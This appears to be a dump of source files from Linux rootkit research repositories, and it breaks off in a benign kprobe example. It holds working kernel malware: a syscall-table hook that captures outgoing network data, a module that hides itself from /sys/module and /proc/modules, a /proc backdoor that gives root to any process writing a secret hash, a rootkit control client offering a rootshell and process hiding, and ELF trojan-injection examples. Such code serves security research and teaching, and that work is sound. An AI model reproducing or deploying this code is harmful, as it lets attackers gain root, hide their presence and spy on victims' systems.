| 53 | 54 | int 55 | init_module(void) 56 | { 57 | unsigned long **real_sct; 58 | 59 | fm_alert("%s\n", "Greetings the World!"); 60 | 61 | fm_alert("__NR_syscall_max: %d", __NR_syscall_max); 62 | 63 | real_sct = get_sct_via_sys_close(); 64 | if (real_sct == NULL) { 65 | return 1; 66 | } 67 | 68 | real_phys = virt_to_phys(real_sct); 69 | fm_alert("real sys_call_table: %p phys: %llx\n", 70 | real_sct, real_phys); 71 | fm_alert("fake sys_call_table: %p phys: %llx\n", 72 | fake_sct, virt_to_phys(fake_sct)); 73 | 74 | memcpy(fake_sct, real_sct, sizeof fake_sct); 75 | 76 | HOOK_SCT(fake_sct, sendto); 77 | 78 | set_lstar_sct((u32)(unsigned long)fake_sct); 79 | 80 | return 0; 81 | } 82 | 83 | 84 | void 85 | cleanup_module(void) 86 | { 87 | fm_alert("%s\n", "Farewell the World!"); 88 | 89 | // There is no need to UNHOOK_SCT. 90 | set_lstar_sct((u32)(unsigned long)phys_to_virt_kern(real_phys)); 91 | 92 | return; 93 | } 94 | 95 | 96 | asmlinkage long 97 | fake_sendto(int fd, void __user *buff, size_t len, unsigned flags, 98 | struct sockaddr __user *addr, int addr_len) 99 | { 100 | void *kbuf = kmalloc(len + 1, GFP_KERNEL); 101 | if (kbuf != NULL) { 102 | if (copy_from_user(kbuf, buff, len)) { 103 | fm_alert("%s\n", "copy_from_user failed."); 104 | } else { 105 | if (memcmp(kbuf, "GET", 3) == 0 || 106 | memcmp(kbuf, "POST", 4) == 0) { 107 | print_ascii(kbuf, len, "ascii"); 108 | } else { 109 | print_memory(kbuf, len, "memory"); 110 | } 111 | } 112 | kfree(kbuf); 113 | } else { 114 | fm_alert("%s\n", "kmalloc failed."); 115 | } 116 | 117 | return real_sendto(fd, buff, len, flags, addr, addr_len); 118 | } 119 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/et_dyn_trojan.S: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | 25 | /* 227 bytes */ 26 | .globl _start 27 | 28 | .equ SYS_read, 0 29 | .equ SYS_write, 1 30 | .equ SYS_open, 2 31 | .equ MAXLEN, 17 32 | 33 | .text 34 | 35 | _start: 36 | # Save registers 37 | push %rax 38 | push %rcx 39 | push %rdx 40 | push %rsi 41 | push %rdi 42 | push %r11 43 | 44 | # Write out greetz 45 | movl $SYS_write, %eax 46 | movq $1, %rdi 47 | leaq msg(%rip), %rsi 48 | movq $msglen, %rdx 49 | syscall 50 | 51 | xor %rax, %rax 52 | 53 | // Open path in read-only 54 | movl $SYS_open, %eax 55 | leaq path(%rip), %rdi 56 | movq $0, %rsi 57 | syscall 58 | 59 | // Allocate buffer space 60 | subq $16, %rsp 61 | 62 | // Read the first MAXLEN bytes from path 63 | movq %rax, %rdi 64 | movl $SYS_read, %eax 65 | movq %rsp, %rsi 66 | movq $MAXLEN, %rdx 67 | syscall 68 | 69 | // scan the buffer for the fist '-' character 70 | scan: 71 | // initialize counter 72 | movq $MAXLEN+1, %rcx 73 | // store the wild-card in %al byte 74 | movb $'-', %al 75 | movq %rsp, %rdi 76 | cld 77 | repne scasb 78 | 79 | // rcx = (MAXLEN-rcx) 80 | movq $MAXLEN, %r13 81 | subq %rcx, %r13 82 | movq %r13, %rcx 83 | 84 | // Prepare to read from 85 | // result buffer 86 | xor %rbx, %rbx 87 | movq %rsp, %rsi 88 | movq %rsi, %rdi 89 | cld 90 | // Convert the result buffer 91 | // into hex real values 92 | readchars: 93 | lodsb 94 | cmpb $0x39, %al 95 | jle digit 96 | alpha: 97 | subb $0x57, %al 98 | jmp load_ebx 99 | digit: 100 | subb $0x30, %al 101 | load_ebx: 102 | shl $4, %rbx 103 | or %rax, %rbx 104 | stosb 105 | loop readchars 106 | 107 | // At this point %rbx holds the offset 108 | 109 | // realign rsp 110 | addq $16, %rsp 111 | 112 | // Dummy jump address 113 | movq $0x1122334455667788, %r8 114 | 115 | // Add result offset into %r8 116 | addq %rbx, %r8 117 | 118 | # Restore 119 | pop %r11 120 | pop %rdi 121 | pop %rsi 122 | pop %rdx 123 | pop %rcx 124 | pop %rax 125 | 126 | // This is it 127 | jmpq *%r8 128 | 129 | path: .asciz "/proc/self/maps" 130 | msg: .asciz "-= Quantum junction get in both lanes =-\n" 131 | msglen= .-msg 132 | 133 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/example-infect-note.c: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include "common.h" 32 | #include "utils.h" 33 | #include "log.h" 34 | #include "elfo.h" 35 | #include "parse.h" 36 | #include "map.h" 37 | #include "asm.h" 38 | #include "print.h" 39 | #include "validate.h" 40 | #include "destroy.h" 41 | #include "infect.h" 42 | 43 | extern elf_info_t _program[]; 44 | 45 | static bool doit(const char *binfile, const char *trojan) { 46 | ASSERT_CON_RET_FALSE(binfile && trojan); 47 | open_mode_t m1,m2; 48 | struct mapped_file map = {0}, src_map = {0}; 49 | bool rc = false; 50 | const char *file = binfile; 51 | 52 | FILE *fp = file_open_rw(file, &m1); 53 | if (!fp) { 54 | log_error("Can't open target ELF\n"); 55 | return rc; 56 | } 57 | 58 | FILE *trojanfp = file_open_ro(trojan, &m2); 59 | if (!trojanfp) { 60 | log_error("Can't open trojan binary\n"); 61 | return rc; 62 | } 63 | 64 | if(!elf_validate_filetype(fp)) { 65 | log_error("Not a valid ELF file\n"); 66 | return rc; 67 | } 68 | 69 | if (!(rc = file_load_target(&map, fp, m1))) { 70 | log_error("Error loading target ELF\n"); 71 | return rc; 72 | } 73 | // File is mapped 74 | file_close(fp); 75 | 76 | if (!(rc = file_load_source(&src_map, trojanfp /** RO */))) { 77 | log_error("Error loading source binary\n"); 78 | return rc; 79 | } 80 | 81 | elf_t *elfo = elf_parse_file(file, &map); 82 | if (elfo) { 83 | long magic = (long)0x1122334455667788; 84 | 85 | infect_t *inf = inf_load(elfo, m1, magic, &src_map); 86 | 87 | elf_xword_t max = inf_note_has_room_for_payload(inf); 88 | if (inf_note_patch(inf, max)) 89 | printf("Done!\nTry running %s\n", file); 90 | 91 | free(inf->trojan); 92 | free(inf); 93 | assert(elf_destroy_all(elfo)); 94 | } 95 | 96 | file_close(trojanfp); 97 | 98 | return rc; 99 | } 100 | int main(int argc, char **argv) 101 | { 102 | if (argc < 3) { 103 | log_info("Use %s \n", argv[0]); 104 | asm_exit(0); 105 | } 106 | 107 | if (!doit(argv[1], argv[2])) 108 | return 1; 109 | 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /research-rootkit/kohid/kohid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | // struct seq_file. 26 | # include 27 | # endif // CPP 28 | 29 | # include "../zeroevil/zeroevil.h" 30 | 31 | 32 | MODULE_LICENSE("GPL"); 33 | 34 | # define ROOT_PATH "/sys/module" 35 | # define PROC_PATH "/proc/modules" 36 | # define SECRET_MODULE "kohidko" 37 | 38 | int 39 | (*real_iterate)(struct file *filp, struct dir_context *ctx); 40 | int 41 | (*real_filldir)(struct dir_context *ctx, 42 | const char *name, int namlen, 43 | loff_t offset, u64 ino, unsigned d_type); 44 | int 45 | fake_iterate(struct file *filp, struct dir_context *ctx); 46 | int 47 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 48 | loff_t offset, u64 ino, unsigned d_type); 49 | 50 | int 51 | (*real_seq_show)(struct seq_file *seq, void *v); 52 | int 53 | fake_seq_show(struct seq_file *seq, void *v); 54 | 55 | 56 | int 57 | init_module(void) 58 | { 59 | fm_alert("%s\n", "Greetings the World!"); 60 | 61 | set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate); 62 | set_file_seq_op(show, PROC_PATH, fake_seq_show, real_seq_show); 63 | 64 | if (!real_iterate) { 65 | return -ENOENT; 66 | } 67 | 68 | return 0; 69 | } 70 | 71 | 72 | void 73 | cleanup_module(void) 74 | { 75 | if (real_iterate) { 76 | void *dummy; 77 | set_file_op(iterate, ROOT_PATH, real_iterate, dummy); 78 | } 79 | 80 | if (real_seq_show) { 81 | void *dummy; 82 | set_file_seq_op(show, PROC_PATH, real_seq_show, dummy); 83 | } 84 | 85 | fm_alert("%s\n", "Farewell the World!"); 86 | return; 87 | } 88 | 89 | 90 | int 91 | fake_iterate(struct file *filp, struct dir_context *ctx) 92 | { 93 | real_filldir = ctx->actor; 94 | *(filldir_t *)&ctx->actor = fake_filldir; 95 | 96 | return real_iterate(filp, ctx); 97 | } 98 | 99 | 100 | int 101 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 102 | loff_t offset, u64 ino, unsigned d_type) 103 | { 104 | if (strcmp(name, SECRET_MODULE) == 0) { 105 | fm_alert("Hiding module: %s", name); 106 | return 0; 107 | } 108 | 109 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 110 | } 111 | 112 | 113 | int 114 | fake_seq_show(struct seq_file *seq, void *v) 115 | { 116 | int ret; 117 | size_t last_count, last_size; 118 | 119 | last_count = seq->count; 120 | ret = real_seq_show(seq, v); 121 | last_size = seq->count - last_count; 122 | 123 | if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE, 124 | last_size)) { 125 | fm_alert("Hiding module: %s\n", SECRET_MODULE); 126 | seq->count -= last_size; 127 | } 128 | 129 | return ret; 130 | } 131 | -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/user_src/client_usermode.c: -------------------------------------------------------------------------------- 1 | #include /* printf(), scanf() */ 2 | #include /* system() */ 3 | #include /* strncmp() */ 4 | #include /* sys/types.h header file defines a collection of typedef symbols and structures. link:https://www.ibm.com/docs/en/zos/2.1.0?topic=files-systypesh */ 5 | //#include 6 | #include /* open() */ 7 | #include /* close() */ 8 | #include /* ioctl() */ 9 | 10 | 11 | #define WR_VALUE _IOW('a','a',int32_t*) 12 | #define RD_VALUE _IOR('a','b',int32_t*) 13 | 14 | // For storing in array 15 | #define MAX_LIMIT 20 16 | 17 | void red() 18 | { 19 | // Escape: \031 20 | // Red: [0;32m 21 | printf("\033[1;31m"); 22 | } 23 | void green() 24 | { 25 | // Escape: \033 26 | // Green: [0;32m 27 | printf("\033[1;32m"); 28 | } 29 | 30 | void yellow() 31 | { 32 | // Yellow: [0;33m 33 | printf("\033[1;33m"); 34 | } 35 | 36 | void reset() 37 | { 38 | // Reset: [0m 39 | printf("\033[0m"); 40 | } 41 | 42 | void cmd(void) 43 | { 44 | printf("\n\n[+] Created by "); 45 | yellow(); 46 | printf("@reveng007(Soumyanil)\n\n"); 47 | reset(); 48 | 49 | green(); 50 | printf("\n|+++++++++++++++++++ Available commands ++++++++++++++++++|\n\n"); 51 | 52 | yellow(); 53 | printf("hide\t\t"); 54 | reset(); 55 | 56 | printf(": Command to hide rootkit \n\t\t=> In this mode, in no way this rootkit be removable\n\n"); 57 | 58 | yellow(); 59 | printf("show\t\t"); 60 | reset(); 61 | 62 | printf(": Command to unhide rootkit \n\t\t=> In this mode, rootkit_protect and rootkit_remove will work effectively\n\n"); 63 | 64 | yellow(); 65 | printf("protect\t\t"); 66 | reset(); 67 | 68 | printf(": Command to make rootkit unremovable (even if it can be seen in usermode)\n\n"); 69 | 70 | yellow(); 71 | printf("remove\t\t"); 72 | reset(); 73 | 74 | printf(": Command to make rootkit removable\n\n"); 75 | 76 | yellow(); 77 | printf("kill -31 \t"); 78 | reset(); 79 | 80 | printf(": Command to hide/unhide running process. Applicable in normal shell prompt.\n\t\t=> write: `process` in the below prompt to close without any error\n\n"); 81 | 82 | yellow(); 83 | printf("kill -64 \t"); 84 | reset(); 85 | 86 | printf(": Command to get rootshell. Applicable in normal shell prompt.\n\t\t=> write: `root` in the below prompt to close without any error\n\n"); 87 | } 88 | 89 | 90 | int main() 91 | { 92 | int fd; 93 | 94 | cmd(); 95 | 96 | fd = open("/dev/etx_device", O_RDWR); 97 | if(fd < 0) { 98 | printf("Cannot open Character device file...\n"); 99 | return 0; 100 | } 101 | 102 | printf("\n[+] Character Device file opened\n"); 103 | 104 | char str[MAX_LIMIT]; 105 | char str1[MAX_LIMIT]; 106 | 107 | printf("[?] Enter the Value to send: "); 108 | scanf("%[^\n]%*c", str); 109 | //scanf("%d",&number); 110 | 111 | if((strncmp(str,"process", sizeof("process")) == 0) || (strncmp(str,"root", sizeof("root")) == 0)) 112 | { 113 | puts("[*] Exiting..."); 114 | } 115 | 116 | printf("[+] Written Value to Character Device file\n"); 117 | //ioctl(fd, WR_VALUE, (int32_t*) &number); 118 | ioctl(fd, WR_VALUE, (char*) str); 119 | 120 | /* 121 | ioctl(fd, RD_VALUE, (int32_t*) &value); 122 | printf("Value is %d\n", value); 123 | */ 124 | ioctl(fd, RD_VALUE, (char*) str1); 125 | printf("[*] Reading Value from Character Device file: %s", str1); 126 | 127 | //printf("[+] Value present in Character Device file: "); 128 | 129 | yellow(); 130 | printf("%s\n", str); 131 | reset(); 132 | 133 | getchar(); 134 | printf("[+] Character Device file closed\n"); 135 | close(fd); 136 | 137 | } 138 | 139 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/example-headers.c: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | #include 25 | #include 26 | #include 27 | 28 | #include "common.h" 29 | #include "utils.h" 30 | #include "log.h" 31 | #include "elfo.h" 32 | #include "parse.h" 33 | #include "map.h" 34 | #include "asm.h" 35 | #include "print.h" 36 | #include "validate.h" 37 | #include "destroy.h" 38 | 39 | extern elf_info_t _program[]; 40 | 41 | static bool doit(const char *binfile) { 42 | ASSERT_CON_RET_FALSE(binfile); 43 | open_mode_t m; 44 | struct mapped_file map = {0}; 45 | const char *file = binfile; 46 | FILE *fp = file_open_ro(file, &m); 47 | 48 | if (!fp) { 49 | log_error("Can't open file"); 50 | return false; 51 | } 52 | 53 | if(!elf_validate_filetype(fp)) { 54 | log_error("Not a valid ELF file"); 55 | file_close(fp); 56 | return false; 57 | } 58 | 59 | 60 | if (!file_load_target(&map, fp, m)) { 61 | log_error("Error loading target ELF\n"); 62 | return false; 63 | } 64 | 65 | elf_t *elfo = elf_parse_file(file, &map); 66 | 67 | elf_ehdr_t *ehdr = elf_get_elf_header(elfo); 68 | if (ehdr) 69 | log_info("Ehdr=%p %c%c%c\n", 70 | ehdr, ehdr->e_ident[EI_MAG1], ehdr->e_ident[EI_MAG2], ehdr->e_ident[EI_MAG3]); 71 | 72 | elf_phdr_t **phdrs = elf_get_elf_programs(elfo); 73 | if (phdrs) { 74 | log_info("Phdrs=%p Number of Programs %d:\n", phdrs, ehdr->e_phnum); 75 | 76 | for (int i = 0, phidx; i < ehdr->e_phnum; ++i, (*phdrs)++) { 77 | const elf_phdr_t *phdr = (const elf_phdr_t *)*phdrs; 78 | ELF_DICT(&phidx, program, phdr->p_type); 79 | log_info("\t%d: %s\n",i, _program[phidx].name); 80 | } 81 | free(phdrs); 82 | } 83 | 84 | elf_shdr_t **shdrs = elf_get_elf_sections(elfo); 85 | if (shdrs) { 86 | log_info("Shdrs=%p Number of Sections %d:\n", phdrs, ehdr->e_shnum); 87 | 88 | for(int i=0; i < ehdr->e_shnum; i++, (*shdrs)++) { 89 | char *shname = elf_get_section_header_name(elfo, *shdrs); 90 | log_info("\t%d: %s\n",i, strlen(shname) ? shname : "--"); 91 | } 92 | free(shdrs); 93 | } 94 | 95 | assert(elf_destroy_all(elfo)); 96 | file_close(fp); 97 | return true; 98 | } 99 | 100 | int main(int argc, char **argv) { 101 | if (argc < 2 || !strcmp(argv[1], "-h")) { 102 | log_info("Use %s \n", argv[0]); 103 | asm_exit(0); 104 | } 105 | 106 | (void)doit(argv[1]); 107 | 108 | return 0; 109 | } 110 | -------------------------------------------------------------------------------- /research-rootkit/elf/lssec.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # include 23 | # include // fopen, fprintf, printf. 24 | # include // memcmp, perror. 25 | // Get PRIx64. 26 | # include 27 | 28 | # include 29 | 30 | 31 | int 32 | main(int argc, char **argv) 33 | { 34 | if (argc != 2) { 35 | fprintf(stderr, "%s\n", "Invalid Arguments!"); 36 | return EXIT_FAILURE; 37 | } 38 | 39 | FILE *fp = fopen(argv[1], "r"); 40 | if (fp == NULL) { 41 | perror("fopen"); 42 | return EXIT_FAILURE; 43 | } 44 | 45 | unsigned char e_ident[EI_NIDENT]; 46 | if (fread(e_ident, 1, EI_NIDENT, fp) != EI_NIDENT) { 47 | fprintf(stderr, "%s\n", "Incomplete ELF Identification!"); 48 | return EXIT_FAILURE; 49 | } 50 | 51 | if (memcmp(e_ident, ELFMAG, SELFMAG) != 0) { 52 | fprintf(stderr, "%s\n", "Bad ELF Magic Number!"); 53 | return EXIT_FAILURE; 54 | } 55 | 56 | if (e_ident[EI_CLASS] != ELFCLASS64 || 57 | e_ident[EI_DATA] != ELFDATA2LSB) { 58 | fprintf(stderr, "%s\n", "We Only Support ELF64 LE!"); 59 | return EXIT_FAILURE; 60 | } 61 | 62 | 63 | Elf64_Ehdr header; 64 | fseek(fp, 0, SEEK_SET); 65 | if (fread(&header, 1, sizeof header, fp) != sizeof header) { 66 | fprintf(stderr, "%s\n", "Incomplete ELF Header!"); 67 | return EXIT_FAILURE; 68 | } 69 | 70 | size_t size = header.e_shnum * header.e_shentsize; 71 | Elf64_Shdr *section_header_table = malloc(size); 72 | if (section_header_table == NULL) { 73 | perror("malloc"); 74 | return EXIT_FAILURE; 75 | } 76 | 77 | fseek (fp, header.e_shoff, SEEK_SET); 78 | if (fread(section_header_table, 1, size, fp) != size) { 79 | fprintf(stderr, "%s\n", "Incomplete Section Header Table!"); 80 | return EXIT_FAILURE; 81 | } 82 | 83 | Elf64_Shdr shstrtab = section_header_table[header.e_shstrndx]; 84 | size = shstrtab.sh_size; 85 | char *string_table = malloc(size); 86 | if (string_table == NULL) { 87 | perror("malloc"); 88 | return EXIT_FAILURE; 89 | } 90 | 91 | fseek (fp, shstrtab.sh_offset, SEEK_SET); 92 | if (fread(string_table, 1, size, fp) != size) { 93 | fprintf(stderr, "%s\n", 94 | "Incomplete Section Header String Table!"); 95 | return EXIT_FAILURE; 96 | } 97 | 98 | printf("%s\n", "number offset size entsize name"); 99 | for (unsigned num = 0; num < header.e_shnum; num += 1) { 100 | Elf64_Shdr section_header = section_header_table[num]; 101 | char *name = string_table + section_header.sh_name; 102 | printf("%4u %"PRIx64" %"PRIx64" %"PRIx64" %s\n", 103 | num, section_header.sh_offset, 104 | section_header.sh_size, section_header.sh_entsize, 105 | name); 106 | } 107 | 108 | 109 | free(section_header_table); 110 | free(string_table); 111 | return EXIT_SUCCESS; 112 | } 113 | -------------------------------------------------------------------------------- /research-rootkit/root/root.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # include 26 | # if LINUX_VERSION_CODE < KERNEL_VERSION(5, 6, 0) 27 | # include // struct file_operations. 28 | # endif 29 | # include // proc_create, proc_remove. 30 | # include // kmalloc, kfree. 31 | # include // copy_from_user. 32 | # include // struct cred. 33 | # include 34 | # endif // CPP 35 | 36 | # include "../zeroevil/zeroevil.h" 37 | 38 | 39 | MODULE_LICENSE("GPL"); 40 | 41 | // INFO: $ printf rootme | sha512sum 42 | # define NAME "4b96c64ca2ddac7d50fd33bc75028c9462dfbea446f51e192b39011d984bc8809218e3907d48ffc2ddd2cce2a90a877a0e446f028926a828a5d47d72510eebc0" 43 | // INFO: $ printf r00tme | sha512sum 44 | # define AUTH "05340126a6ae3257933cd7254aeaac2226ab164dc864fffc9953f01134b29f6b1c418d45570d112fba7b5bf831f52bd14071949e2add979e903113618b0e5584" 45 | 46 | struct proc_dir_entry *entry; 47 | 48 | ssize_t 49 | write_handler(struct file * filp, const char __user *buff, 50 | size_t count, loff_t *offp); 51 | 52 | struct 53 | # if LINUX_VERSION_CODE < KERNEL_VERSION(5, 6, 0) 54 | file_operations 55 | # else 56 | proc_ops 57 | # endif 58 | proc_fops = { 59 | # if LINUX_VERSION_CODE < KERNEL_VERSION(5, 6, 0) 60 | .write 61 | # else 62 | .proc_write 63 | # endif 64 | = write_handler 65 | }; 66 | 67 | 68 | int 69 | init_module(void) 70 | { 71 | fm_alert("%s\n", "Greetings the World!"); 72 | 73 | entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops); 74 | 75 | return 0; 76 | } 77 | 78 | 79 | void 80 | cleanup_module(void) 81 | { 82 | proc_remove(entry); 83 | 84 | fm_alert("%s\n", "Farewell the World!"); 85 | return; 86 | } 87 | 88 | 89 | ssize_t 90 | write_handler(struct file * filp, const char __user *buff, 91 | size_t count, loff_t *offp) 92 | { 93 | char *kbuff; 94 | struct cred* cred; 95 | 96 | // WARN: Be careful. There is a chance for off-by-one NULL. 97 | kbuff = kmalloc(count + 1, GFP_KERNEL); 98 | if (!kbuff) { 99 | return -ENOMEM; 100 | } 101 | if (copy_from_user(kbuff, buff, count)) { 102 | kfree(kbuff); 103 | return -EFAULT; 104 | } 105 | kbuff[count] = (char)0; 106 | 107 | if (strlen(kbuff) == strlen(AUTH) && 108 | strncmp(AUTH, kbuff, count) == 0) { 109 | fm_alert("%s\n", "Comrade, I will help you."); 110 | 111 | /* cred = (struct cred *)current_real_cred(); */ 112 | cred = (struct cred *)__task_cred(current); 113 | 114 | // TODO: We might probably just copy the cred from pid 1. 115 | cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID; 116 | cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID; 117 | fm_alert("%s\n", "See you!"); 118 | } else { 119 | fm_alert("Alien, get out of here: %s.\n", kbuff); 120 | } 121 | 122 | kfree(kbuff); 123 | return count; 124 | } 125 | -------------------------------------------------------------------------------- /android-kernel/kprobe_example.c: -------------------------------------------------------------------------------- 1 | /* 2 | * NOTE: This example is works on x86 and powerpc. 3 | * Here's a sample kernel module showing the use of kprobes to dump a 4 | * stack trace and selected registers when _do_fork() is called. 5 | * 6 | * For more information on theory of operation of kprobes, see 7 | * Documentation/kprobes.txt 8 | * 9 | * You will see the trace data in /var/log/messages and on the console 10 | * whenever _do_fork() is invoked to create a new process. 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | /* For each probe you need to allocate a kprobe structure */ 18 | static struct kprobe kp = { 19 | .symbol_name = "_do_fork", 20 | }; 21 | 22 | /* kprobe pre_handler: called just before the probed instruction is executed */ 23 | static int handler_pre(struct kprobe *p, struct pt_regs *regs) 24 | { 25 | #ifdef CONFIG_X86 26 | printk(KERN_INFO "pre_handler: p->addr = 0x%p, ip = %lx," 27 | " flags = 0x%lx\n", 28 | p->addr, regs->ip, regs->flags); 29 | #endif 30 | #ifdef CONFIG_PPC 31 | printk(KERN_INFO "pre_handler: p->addr = 0x%p, nip = 0x%lx," 32 | " msr = 0x%lx\n", 33 | p->addr, regs->nip, regs->msr); 34 | #endif 35 | #ifdef CONFIG_MIPS 36 | printk(KERN_INFO "pre_handler: p->addr = 0x%p, epc = 0x%lx," 37 | " status = 0x%lx\n", 38 | p->addr, regs->cp0_epc, regs->cp0_status); 39 | #endif 40 | #ifdef CONFIG_TILEGX 41 | printk(KERN_INFO "pre_handler: p->addr = 0x%p, pc = 0x%lx," 42 | " ex1 = 0x%lx\n", 43 | p->addr, regs->pc, regs->ex1); 44 | #endif 45 | #ifdef CONFIG_ARM64 46 | pr_info("<%s> pre_handler: p->addr = 0x%p, pc = 0x%lx," 47 | " pstate = 0x%lx\n", 48 | p->symbol_name, p->addr, (long)regs->pc, (long)regs->pstate); 49 | #endif 50 | 51 | /* A dump_stack() here will give a stack backtrace */ 52 | return 0; 53 | } 54 | 55 | /* kprobe post_handler: called after the probed instruction is executed */ 56 | static void handler_post(struct kprobe *p, struct pt_regs *regs, 57 | unsigned long flags) 58 | { 59 | #ifdef CONFIG_X86 60 | printk(KERN_INFO "post_handler: p->addr = 0x%p, flags = 0x%lx\n", 61 | p->addr, regs->flags); 62 | #endif 63 | #ifdef CONFIG_PPC 64 | printk(KERN_INFO "post_handler: p->addr = 0x%p, msr = 0x%lx\n", 65 | p->addr, regs->msr); 66 | #endif 67 | #ifdef CONFIG_MIPS 68 | printk(KERN_INFO "post_handler: p->addr = 